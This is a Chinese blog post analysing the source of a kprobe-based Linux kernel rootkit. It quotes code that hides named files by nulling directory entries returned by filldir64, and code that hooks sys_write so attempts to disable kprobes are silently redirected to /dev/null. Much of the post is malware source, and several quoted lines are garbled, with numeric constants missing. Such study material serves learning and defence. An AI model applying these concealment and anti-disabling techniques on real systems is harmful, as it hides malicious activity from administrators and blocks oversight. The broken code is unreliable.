介绍

《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码

kprobe

kprobe的介绍可以看下面这几篇文章

介绍:https://www.cnblogs.com/honpey/p/4575928.html

原理:https://www.cnblogs.com/honpey/p/4575902.html

用法:https://blog.csdn.net/luckyapple1028/article/details/52972315

rootkit

用来隐藏进程,文件等信息的恶意软件

关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html

使用kprobe来写rootkit

作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit

这里分析一下这个项目的源码

这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头

char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3
"test1",
"test2",
"test3"
};

在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置

 //n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

然后就向这两个函数的开头和结尾注册了jprobe和retprobe

//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);

同时还会去找另外3个函数的地址,get_task_comn是获得

_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

然后有4个kprobe结构,包含着我们的实现代码

static struct jprobe syswrite_jp =
{
.entry = (kprobe_opcode_t *)j_sys_write
}; static struct jprobe filldir64_jp =
{
.entry = (kprobe_opcode_t *)j_filldir64
}; static struct kretprobe filldir64_kp =
{
.handler = filldir64_ret_handler,
.maxactive = NR_CPUS
}; static struct kretprobe syswrite_kp =
{
.handler = sys_write_ret_handler,
.maxactive = NR_CPUS
};

先看filldir64的两个函数

j_filldir64是jprobe的函数,在filldir64之前执行,
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = ; i < HIDDEN_FILES_MAX; i++)
  if (strcmp(hidden_files[i], name) == )
    found_hidden_file++;
  if (!found_hidden_file)
    goto end;

如果有,则记录在全局变量中

        //全局指针,如果有,则记录下这么目录,
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
g_dentry.bypass++; // note that we want to bypass viewing this file

在返回的时候,如果发现是需要隐藏的目录,则直接清除掉

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
char *ptr, null = ;
/* Someone is looking at one of our hidden files */
if (g_dentry.bypass)
{
/* Lets nullify the filename so it simply is invisible */
ptr = (char *)g_dentry.d_name_ptr;
copy_to_user((char *)ptr, &null, sizeof(char));
}
}

在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能

可以通过get_task_comn来获取进程的可执行文件名字

    _get_task_comm(comm, current);
printk("comm: %s\n", comm);
if (strcmp(comm, "ls"))
goto do_inode_check;
else
/* check to see if this is an ls stat complaint, or ls -l weirdness */
/* There are two separate calls to sys_write hence two strstr checks */
if (strstr(s, "cannot access") || strstr(s, "ls:"))
{
printk("Going to redirect\n");
goto redirect;
}

然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

       //先得到file结构,然后得到dentry,最后再得到inode结构
file = fget(fd);
if (!file)
goto out;
dentry = dget(file->f_path.dentry);
if (!dentry)
goto out;
ino = dentry->d_inode->i_ino;
dput(dentry);
fput(file);
/* If someone tries to disable kprobes or tries to see our probes */
/* in /sys/kernel/debug/kprobes, it aint happening */
//enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
if (ino == enabled_ino)
{
printk("ino: %u\n", ino);
goto redirect;
}
else
goto out;

最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样

        //KERNEL_DS范围很大,到0xffffffffffffffff
mm_segment_t o_fs = get_fs();
set_fs(KERNEL_DS); _sys_close(fd);
fd = _sys_open(devnull, O_RDWR, ); set_fs(o_fs);
global_fd = fd;

关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html

在write写结束的位置,再关闭NULL文件就可以了。

linux kprobe rootkit学习的更多相关文章

  1. linux lkm rootkit常用技巧

    简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...

  2. 20135231 —— Linux 基础入门学习

    20135231 何佳 学习计时:共12小时 读书:5 代码:2 作业:2 博客:3 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用Li ...

  3. Linux系统新手学习的11点建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...

  4. Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)

    Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)

  5. Linux进程间通信IPC学习笔记之同步二(Posix 信号量)

    Linux进程间通信IPC学习笔记之同步二(Posix 信号量)

  6. Linux进程间通信IPC学习笔记之消息队列(SVR4)

    Linux进程间通信IPC学习笔记之消息队列(SVR4)

  7. Linux进程间通信IPC学习笔记之有名管道

    基础知识: 有名管道,FIFO先进先出,它是一个单向(半双工)的数据流,不同于管道的是:是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)有一个与路径名关联的名 ...

  8. Linux进程间通信IPC学习笔记之管道

    基础知识: 管道是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)没有名字: 2)用于共同祖先间的进程通信: 3)读写操作用read和write函数 #incl ...

  9. Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]

     Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...

随机推荐

  1. BZOJ1070: [SCOI2007]修车(最小费用最大流,思维)

    Description 同一时刻有N位车主带着他们的爱车来到了汽车维修中心.维修中心共有M位技术人员,不同的技术人员对不同 的车进行维修所用的时间是不同的.现在需要安排这M位技术人员所维修的车及顺序, ...

  2. Educational Codeforces Round 64 (Rated for Div. 2) A,B,C,D,E,F

    比赛链接: https://codeforces.com/contest/1156 A. Inscribed Figures 题意: 给出$n(2\leq n\leq 100)$个数,只含有1,2,3 ...

  3. RSA加密算法c++简单实现

    RSA是一种非对称加密算法,在公开密钥和电子商业中RSA被广泛使用.它是基于一个很简单的数论事实,两个素数相乘很容易,对两素数乘积因式分解很困难.原理就不再阐述了,我谈谈算法的编程实现过程. 一.RS ...

  4. ARP输入 之 arp_process

    概述 arp_process为ARP输入包的核心处理流程: 若输入为ARP请求且查路由成功,则进行如下判断:输入到本地,则进行应答:否则,允许转发,则转发,本文代码不包含转发流程: 若输入为ARP应答 ...

  5. 百度地图API--百度地图底色选择

    可选择底色列表<select id="stylelist" onchange="changeMapStyle(this.value)"> <o ...

  6. mp3收藏

    [程序员一个]一人饮酒醉 https://kg2.qq.com/node/play?s=lW1J2-lrkrR3klvD&shareuid=619598862d2a31893d&top ...

  7. 查一张表占多少空间Bytes

    SELECT SUM(BYTES)/1024/1024||'MB' 占用空间 FROM dba_segments WHERE segment_name = '表名' AND owner = '用户名' ...

  8. bind绑定服务的生命周期

    bindService(service, conn, flags); * service :意图 * conn :activity和服务的连接通道 * flags : BIND_AUTO_CREATE ...

  9. Python写的大小写转换小工具

    几行代码的小工具,用于进行如下转换 TRANSACTIONS ON CLOUD COMPUTING => Transactions On Cloud Computing orig = 'TRAN ...

  10. Selenium 2自动化测试实战32(Fixtures)

    Fixtures fixtures可以形象地把它看作是夹心饼干外层的两片饼干,这两片饼干就是setUp/tearDown,中间的心就是测试用例.除此之外,unittest还提供了更大范围的fixtur ...